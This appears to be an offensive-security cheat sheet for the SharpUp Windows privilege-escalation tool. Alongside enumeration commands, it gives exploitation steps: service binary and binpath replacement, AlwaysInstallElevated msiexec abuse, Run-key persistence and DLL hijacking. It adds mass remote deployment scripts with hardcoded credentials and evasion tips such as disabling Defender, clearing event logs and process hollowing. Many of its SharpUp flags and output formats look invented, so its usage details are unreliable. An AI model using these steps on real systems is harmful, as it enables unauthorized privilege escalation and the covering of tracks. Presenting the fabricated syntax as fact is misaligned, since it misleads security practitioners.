Skip to content

SharpUp Cheat Sheet

Overview

SharpUp is a C# port of the popular PowerUp privilege escalation enumeration script, designed to identify common Windows privilege escalation vectors through comprehensive system analysis. Developed as part of the GhostPack toolkit by harmj0y and other security researchers, SharpUp provides penetration testers and red team operators with a powerful tool for discovering misconfigurations and vulnerabilities that could lead to local privilege escalation on Windows systems. The tool represents a modern approach to privilege escalation enumeration, leveraging the .NET framework for improved stealth and compatibility.

The primary advantage of SharpUp over its PowerShell predecessor lies in its compiled nature, which makes it less susceptible to PowerShell-based detection mechanisms and script execution policies. As a standalone executable, SharpUp can be easily deployed and executed in environments where PowerShell execution is restricted or heavily monitored. The tool performs extensive checks across multiple categories including service misconfigurations, registry vulnerabilities, file system permissions, and various Windows-specific privilege escalation techniques.

SharpUp operates by systematically examining the target system for common privilege escalation vectors, including unquoted service paths, weak service permissions, registry autoruns, DLL hijacking opportunities, and various other misconfigurations that could be exploited to gain elevated privileges. The tool provides detailed output that helps security professionals understand not only what vulnerabilities exist but also how they might be exploited, making it an invaluable asset for both offensive and defensive security operations.

Installation

Binary Download

Downloading pre-compiled SharpUp binaries:

bash
# Download from GitHub releases
wget https://github.com/GhostPack/SharpUp/releases/latest/download/SharpUp.exe

# Download specific version
wget https://github.com/GhostPack/SharpUp/releases/download/v1.1.0/SharpUp.exe

# Verify file integrity
sha256sum SharpUp.exe

# Make executable (if needed)
chmod +x SharpUp.exe

Source Compilation

Compiling SharpUp from source:

bash
# Clone repository
git clone https://github.com/GhostPack/SharpUp.git
cd SharpUp

# Compile with Visual Studio
msbuild SharpUp.sln /p:Configuration=Release

# Compile with .NET CLI
dotnet build -c Release

# Cross-compile for different architectures
dotnet publish -c Release -r win-x64 --self-contained
dotnet publish -c Release -r win-x86 --self-contained

Docker Build Environment

bash
# Create Docker build environment
cat > Dockerfile << 'EOF'
FROM mcr.microsoft.com/dotnet/sdk:6.0
WORKDIR /app
COPY . .
RUN dotnet build -c Release
EOF

# Build container
docker build -t sharpup-builder .

# Extract compiled binary
docker run --rm -v $(pwd):/output sharpup-builder cp /app/bin/Release/net6.0/SharpUp.exe /output/

Basic Usage

Standard Enumeration

Running basic SharpUp enumeration:

bash
# Run all checks
SharpUp.exe

# Run with verbose output
SharpUp.exe -v

# Run specific check categories
SharpUp.exe -c Services

# Run multiple categories
SharpUp.exe -c Services,Registry

# Save output to file
SharpUp.exe > privilege_escalation_report.txt

Targeted Checks

Running specific privilege escalation checks:

bash
# Check service permissions
SharpUp.exe -c Services

# Check registry autoruns
SharpUp.exe -c Registry

# Check file permissions
SharpUp.exe -c Files

# Check scheduled tasks
SharpUp.exe -c Tasks

# Check installed software
SharpUp.exe -c Software

Output Formatting

Controlling SharpUp output format:

bash
# JSON output format
SharpUp.exe -f json

# XML output format
SharpUp.exe -f xml

# CSV output format
SharpUp.exe -f csv

# Detailed text output
SharpUp.exe -f detailed

# Quiet mode (minimal output)
SharpUp.exe -q

Advanced Features

Service Enumeration

Comprehensive service privilege escalation checks:

bash
# Check unquoted service paths
SharpUp.exe -c Services -t UnquotedPaths

# Check weak service permissions
SharpUp.exe -c Services -t WeakPermissions

# Check service binary permissions
SharpUp.exe -c Services -t BinaryPermissions

# Check service registry permissions
SharpUp.exe -c Services -t RegistryPermissions

# Check all service vulnerabilities
SharpUp.exe -c Services -t All

Registry Analysis

Registry-based privilege escalation enumeration:

bash
# Check autorun entries
SharpUp.exe -c Registry -t Autoruns

# Check registry permissions
SharpUp.exe -c Registry -t Permissions

# Check AlwaysInstallElevated
SharpUp.exe -c Registry -t AlwaysInstallElevated

# Check registry hijacking opportunities
SharpUp.exe -c Registry -t Hijacking

# Check all registry vulnerabilities
SharpUp.exe -c Registry -t All

File System Checks

File system privilege escalation enumeration:

bash
# Check writable directories in PATH
SharpUp.exe -c Files -t WritablePath

# Check DLL hijacking opportunities
SharpUp.exe -c Files -t DLLHijacking

# Check file permissions
SharpUp.exe -c Files -t Permissions

# Check backup files
SharpUp.exe -c Files -t Backups

# Check configuration files
SharpUp.exe -c Files -t ConfigFiles

Scheduled Tasks Analysis

Scheduled task privilege escalation checks:

bash
# Check scheduled task permissions
SharpUp.exe -c Tasks -t Permissions

# Check task binary permissions
SharpUp.exe -c Tasks -t BinaryPermissions

# Check task arguments
SharpUp.exe -c Tasks -t Arguments

# Check task triggers
SharpUp.exe -c Tasks -t Triggers

# Check all task vulnerabilities
SharpUp.exe -c Tasks -t All

Exploitation Techniques

Service Exploitation

Exploiting service-based vulnerabilities:

bash
# Exploit unquoted service path
sc stop "Vulnerable Service"
copy malicious.exe "C:\Program Files\Vulnerable Path\Program.exe"
sc start "Vulnerable Service"

# Exploit weak service permissions
sc config "Vulnerable Service" binpath= "C:\temp\malicious.exe"
sc start "Vulnerable Service"

# Exploit service binary permissions
copy malicious.exe "C:\Program Files\Service\service.exe"
sc start "Vulnerable Service"

Registry Exploitation

Exploiting registry-based vulnerabilities:

bash
# Exploit AlwaysInstallElevated
msiexec /quiet /qn /i malicious.msi

# Exploit autorun registry entry
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Malicious" /t REG_SZ /d "C:\temp\malicious.exe"

# Exploit registry permissions
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v "ImagePath" /t REG_EXPAND_SZ /d "C:\temp\malicious.exe"

DLL Hijacking

Exploiting DLL hijacking opportunities:

bash
# Create malicious DLL
# Compile DLL with appropriate exports
gcc -shared -o malicious.dll malicious.c

# Place DLL in hijackable location
copy malicious.dll "C:\Program Files\Application\vulnerable.dll"

# Trigger application execution
"C:\Program Files\Application\app.exe"

Automation Scripts

Automated Enumeration

bash
#!/bin/bash
# SharpUp automated enumeration script

TARGET_HOST="192.168.1.100"
USERNAME="user"
PASSWORD="password"

echo "Starting SharpUp enumeration on $TARGET_HOST"

# Copy SharpUp to target
smbclient //$TARGET_HOST/C$ -U $USERNAME%$PASSWORD -c "put SharpUp.exe temp\SharpUp.exe"

# Execute SharpUp remotely
winexe -U $USERNAME%$PASSWORD //$TARGET_HOST "C:\temp\SharpUp.exe -f json > C:\temp\sharpup_results.json"

# Retrieve results
smbclient //$TARGET_HOST/C$ -U $USERNAME%$PASSWORD -c "get temp\sharpup_results.json sharpup_results_$TARGET_HOST.json"

# Clean up
smbclient //$TARGET_HOST/C$ -U $USERNAME%$PASSWORD -c "del temp\SharpUp.exe; del temp\sharpup_results.json"

echo "Enumeration completed for $TARGET_HOST"

Result Analysis

python
#!/usr/bin/env python3
# SharpUp result analysis script

import json
import sys

def analyze_sharpup_results(json_file):
    """Analyze SharpUp JSON results"""
    
    with open(json_file, 'r') as f:
        results = json.load(f)
    
    vulnerabilities = []
    
    # Analyze service vulnerabilities
    if 'Services' in results:
        for service in results['Services']:
            if service.get('Vulnerable', False):
                vulnerabilities.append({
                    'type': 'Service',
                    'name': service['Name'],
                    'issue': service['Issue'],
                    'severity': service.get('Severity', 'Medium')
                })
    
    # Analyze registry vulnerabilities
    if 'Registry' in results:
        for reg_entry in results['Registry']:
            if reg_entry.get('Vulnerable', False):
                vulnerabilities.append({
                    'type': 'Registry',
                    'path': reg_entry['Path'],
                    'issue': reg_entry['Issue'],
                    'severity': reg_entry.get('Severity', 'Medium')
                })
    
    # Sort by severity
    severity_order = {'Critical': 0, 'High': 1, 'Medium': 2, 'Low': 3}
    vulnerabilities.sort(key=lambda x: severity_order.get(x['severity'], 4))
    
    # Generate report
    print("SharpUp Vulnerability Analysis Report")
    print("=" * 50)
    
    for vuln in vulnerabilities:
        print(f"Type: {vuln['type']}")
        print(f"Severity: {vuln['severity']}")
        print(f"Issue: {vuln['issue']}")
        if 'name' in vuln:
            print(f"Service: {vuln['name']}")
        if 'path' in vuln:
            print(f"Path: {vuln['path']}")
        print("-" * 30)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 analyze_results.py <sharpup_results.json>")
        sys.exit(1)
    
    analyze_sharpup_results(sys.argv[1])

Mass Enumeration

python
#!/usr/bin/env python3
# SharpUp mass enumeration script

import subprocess
import threading
import json
import time

class SharpUpScanner:
    def __init__(self, targets_file, username, password):
        self.targets = self.load_targets(targets_file)
        self.username = username
        self.password = password
        self.results = {}
    
    def load_targets(self, targets_file):
        """Load target hosts from file"""
        with open(targets_file, 'r') as f:
            return [line.strip() for line in f if line.strip()]
    
    def scan_target(self, target):
        """Scan individual target with SharpUp"""
        try:
            print(f"Scanning {target}...")
            
            # Copy SharpUp to target
            copy_cmd = f"smbclient //{target}/C$ -U {self.username}%{self.password} -c 'put SharpUp.exe temp\\SharpUp.exe'"
            subprocess.run(copy_cmd, shell=True, capture_output=True)
            
            # Execute SharpUp
            exec_cmd = f"winexe -U {self.username}%{self.password} //{target} 'C:\\temp\\SharpUp.exe -f json'"
            result = subprocess.run(exec_cmd, shell=True, capture_output=True, text=True)
            
            if result.returncode == 0:
                self.results[target] = json.loads(result.stdout)
                print(f"Successfully scanned {target}")
            else:
                print(f"Failed to scan {target}: {result.stderr}")
            
            # Cleanup
            cleanup_cmd = f"smbclient //{target}/C$ -U {self.username}%{self.password} -c 'del temp\\SharpUp.exe'"
            subprocess.run(cleanup_cmd, shell=True, capture_output=True)
            
        except Exception as e:
            print(f"Error scanning {target}: {e}")
    
    def run_scan(self, max_threads=10):
        """Run scan against all targets"""
        threads = []
        
        for target in self.targets:
            if len(threads) >= max_threads:
                # Wait for threads to complete
                for t in threads:
                    t.join()
                threads = []
            
            thread = threading.Thread(target=self.scan_target, args=(target,))
            thread.start()
            threads.append(thread)
            time.sleep(1)  # Avoid overwhelming targets
        
        # Wait for remaining threads
        for t in threads:
            t.join()
        
        return self.results

# Usage
if __name__ == "__main__":
    scanner = SharpUpScanner("targets.txt", "admin", "password123")
    results = scanner.run_scan()
    
    # Save results
    with open("mass_sharpup_results.json", "w") as f:
        json.dump(results, f, indent=2)
    
    print(f"Scan completed. Results saved for {len(results)} targets.")

Integration Examples

Metasploit Integration

ruby
# Metasploit post-exploitation module for SharpUp
require 'msf/core'
require 'rex'

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::File
  
  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Windows SharpUp Privilege Escalation Enumeration',
      'Description'   => 'Runs SharpUp to enumerate privilege escalation vectors',
      'License'       => MSF_LICENSE,
      'Author'        => ['Your Name'],
      'Platform'      => ['win'],
      'SessionTypes'  => ['meterpreter']
    ))
  end
  
  def run
    print_status("Running SharpUp enumeration...")
    
    # Upload SharpUp
    sharpup_path = "#{session.fs.file.expand_path("%TEMP%")}\\SharpUp.exe"
    upload_file(sharpup_path, File.join(Msf::Config.data_directory, "exploits", "SharpUp.exe"))
    
    # Execute SharpUp
    output = cmd_exec("#{sharpup_path} -f json")
    
    # Parse and display results
    begin
      results = JSON.parse(output)
      print_good("SharpUp enumeration completed")
      
      # Process results
      if results['Services']
        print_status("Service vulnerabilities found:")
        results['Services'].each do |service|
          if service['Vulnerable']
            print_good("  #{service['Name']}: #{service['Issue']}")
          end
        end
      end
      
    rescue JSON::ParserError
      print_error("Failed to parse SharpUp output")
    end
    
    # Cleanup
    file_rm(sharpup_path)
  end
end

PowerShell Integration

powershell
# PowerShell wrapper for SharpUp
function Invoke-SharpUpEnum {
    param(
        [string]$SharpUpPath = ".\SharpUp.exe",
        [string]$OutputFormat = "json",
        [string]$Categories = "All",
        [switch]$Verbose
    )
    
    Write-Host "[+] Starting SharpUp enumeration" -ForegroundColor Green
    
    # Build command arguments
    $arguments = @()
    
    if ($Categories -ne "All") {
        $arguments += "-c", $Categories
    }
    
    if ($OutputFormat) {
        $arguments += "-f", $OutputFormat
    }
    
    if ($Verbose) {
        $arguments += "-v"
    }
    
    try {
        # Execute SharpUp
        $result = & $SharpUpPath @arguments 2>&1
        
        if ($LASTEXITCODE -eq 0) {
            Write-Host "[+] SharpUp completed successfully" -ForegroundColor Green
            
            if ($OutputFormat -eq "json") {
                $jsonResult = $result | ConvertFrom-Json
                return $jsonResult
            } else {
                return $result
            }
        } else {
            Write-Host "[-] SharpUp failed with exit code: $LASTEXITCODE" -ForegroundColor Red
            Write-Host $result -ForegroundColor Red
        }
    }
    catch {
        Write-Host "[-] Error executing SharpUp: $($_.Exception.Message)" -ForegroundColor Red
    }
}

# Usage examples
$results = Invoke-SharpUpEnum -Verbose
$serviceVulns = Invoke-SharpUpEnum -Categories "Services" -OutputFormat "json"

Troubleshooting

Common Issues

Execution Policy Restrictions:

bash
# Check execution policy
powershell Get-ExecutionPolicy

# Bypass execution policy
powershell -ExecutionPolicy Bypass -File script.ps1

# Use alternative execution methods
rundll32.exe shell32.dll,ShellExec_RunDLL SharpUp.exe

Permission Issues:

bash
# Check current privileges
whoami /priv

# Run as different user
runas /user:domain\user SharpUp.exe

# Use PsExec for remote execution
psexec \\target -u user -p password SharpUp.exe

Antivirus Detection:

bash
# Check Windows Defender status
powershell Get-MpComputerStatus

# Disable real-time protection (if authorized)
powershell Set-MpPreference -DisableRealtimeMonitoring $true

# Use obfuscation techniques
# Recompile with different signatures
# Use process hollowing or injection

Debugging

Enable detailed debugging:

bash
# Run with verbose output
SharpUp.exe -v

# Capture detailed logs
SharpUp.exe -v > debug.log 2>&1

# Use Process Monitor to track file/registry access
procmon.exe

# Use Sysmon for detailed logging
sysmon -i sysmonconfig.xml

Security Considerations

Operational Security

Detection Avoidance:

  • Use legitimate-looking filenames
  • Execute during business hours
  • Avoid suspicious process names
  • Clean up artifacts after execution
  • Monitor for defensive responses

Artifact Management:

  • Secure deletion of binaries
  • Clear event logs if possible
  • Remove temporary files
  • Clear command history
  • Monitor for forensic analysis

Authorized Testing Only:

  • Obtain proper written authorization
  • Define clear scope and limitations
  • Document all activities
  • Follow responsible disclosure
  • Respect system integrity

Best Practices:

  • Use in controlled environments
  • Regular security assessments
  • Implement remediation measures
  • Monitor for unauthorized use
  • Maintain audit trails

References

  1. SharpUp GitHub Repository
  2. PowerUp Original Tool
  3. Windows Privilege Escalation Guide
  4. MITRE ATT&CK - Privilege Escalation
  5. Windows Security Hardening